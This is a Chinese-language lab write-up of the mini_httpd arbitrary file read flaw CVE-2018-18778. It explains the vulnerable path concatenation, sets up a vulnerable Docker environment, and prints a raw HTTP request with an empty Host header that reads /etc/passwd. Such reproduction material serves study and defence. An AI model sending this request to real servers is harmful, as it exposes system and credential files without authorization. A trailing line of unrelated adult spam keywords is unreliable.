<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    mini_httpd任意文件讀取漏洞(CVE-2018-18778)

    Path mini_httpd/CVE-2018-18778

    Mini_httpd是一個微型的Http服務器,在占用系統資源較小的情況下可以保持一定程度的性能(約為Apache的90%),因此廣泛被各類IOT(路由器,交換器,攝像頭等)作為嵌入式服務器。而包括華為,zyxel,海康威視,樹莓派等在內的廠商的旗下設備都曾采用Mini_httpd組件。

    在mini_httpd開啟虛擬主機模式的情況下,用戶請求http://HOST/FILE將會訪問到當前目錄下的HOST/FILE文件。

    (void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

    見上述代碼,分析如下:

    • 當HOST=example.com、FILE=index.html的時候,上述語句結果為example.com/index.html,文件正常讀取。
    • 當HOST為空、FILE=etc/passwd的時候,上述語句結果為/etc/passwd

    后者被作為絕對路徑,于是讀取到了/etc/passwd,造成任意文件讀取漏洞。

    環境搭建

    執行如下命令啟動mini_httpd 1.29:

    docker-compose up -d

    環境啟動后,訪問http://your-ip:8080即可看到Web頁面。

    漏洞復現

    發送請求是將Host置空,PATH的值是文件絕對路徑:

    GET /etc/passwd HTTP/1.1
    Host: 
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    成功讀取文件:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类